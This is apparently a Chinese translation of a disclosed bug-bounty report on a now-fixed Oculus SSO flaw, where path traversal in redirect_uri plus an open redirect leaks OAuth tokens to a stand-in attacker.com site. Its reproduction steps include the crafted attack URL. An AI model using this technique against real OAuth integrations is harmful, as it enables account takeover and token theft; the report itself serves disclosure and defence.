原文链接:https://ysamm.com/?p=697
漏洞描述:
此错误使攻击者可以操纵回调端点,该回调端点将接收选择使用Oculus“帐户链接”功能的第三方网站使用的Oculus访问令牌,该链接使组织可以将某个Oculus帐户与其网站帐户链接起来。如果攻击者可以将此漏洞与接收网站中的另一个漏洞(开放重定向)链接在一起以将令牌泄漏到他的网站,则这将导致帐户被接管。
复现步骤:
1)我将针对Oculus论坛(forums.oculusvr.com)重现此行为,但是任何使用Oculus SSO的组织都会受到影响,因为问题出在Oculus端点上,而不是开发人员设置的配置中。
2)如果您访问 https://forums.oculusvr.com/ 并选择登录,您将被重定向到此:
https://auth.oculus.com/sso/?redirect_uri= https://forums.oculusvr.com/hucou38897/plugins/custom/facebook/fboculus/custom.oauthsso-redirect&organization_id = 695304644729285
3)由于redirect_uri和开发人员在Oraganization SSO设置中选择的值之间不存在完全匹配的值(可以在所选的redirect_uri之后添加其他字符,但当然不能修改所选的字符),并且也没有过滤字符组合(例如点和斜线(../)),攻击者可以将此URL更改为此:
https://auth.oculus.com/sso/?redirect_uri= https://forums.oculusvr.com/hucou38897/plugins/custom/facebook/fboculus/custom.oauthsso-redirect/../../../ ../../../open_redirect?next=https://www.attacker.com&organization_id = 695304644729285
4)访问令牌将发送到 https://forums.oculusvr.com/open_redirect?next=https://www.attacker.com#eyJjb2RlIjoib3hoSlB 。端点open_redirect用作端点的示例,该端点会将用户从接收网站重定向到外部网站。由于令牌位于URL的片段中,因此浏览器会将其带到下一个将接收并存储它的URL。
5)在此示例中,攻击者可以使用令牌登录到Oculus用户论坛帐户。使用SSO的应用程序的其他示例可能是使用令牌来标识VR游戏中的用户帐户。
这种类型的错误在OAuth身份验证流程中非常常见,我不希望它存在于Facebook的产品中。为此,我鼓励在寻找复杂的问题之前始终检查小的和常见的问题。
漏洞影响:
攻击者可能会在用户使用OAuth流将其Oculus帐户链接到第三方应用程序时泄漏用户的授权代码。然后,攻击者可以使用此授权代码将自己的第三方应用程序帐户链接到目标用户的Oculus帐户。这种情况下将需要第三方应用程序中的开放重定向。我们已经解决了这个问题。
时间线
2021年2月26日-报告发送
至2021年 3月2日-Facebook确认-2021年
3月16日-Facebook修复2021年
4月13日-Facebook进一步减轻影响和进行调查
-2021年5月20日-Facebook授予12,000美元的赏金(包括奖金)。
本文迁移自知识星球“火线Zone”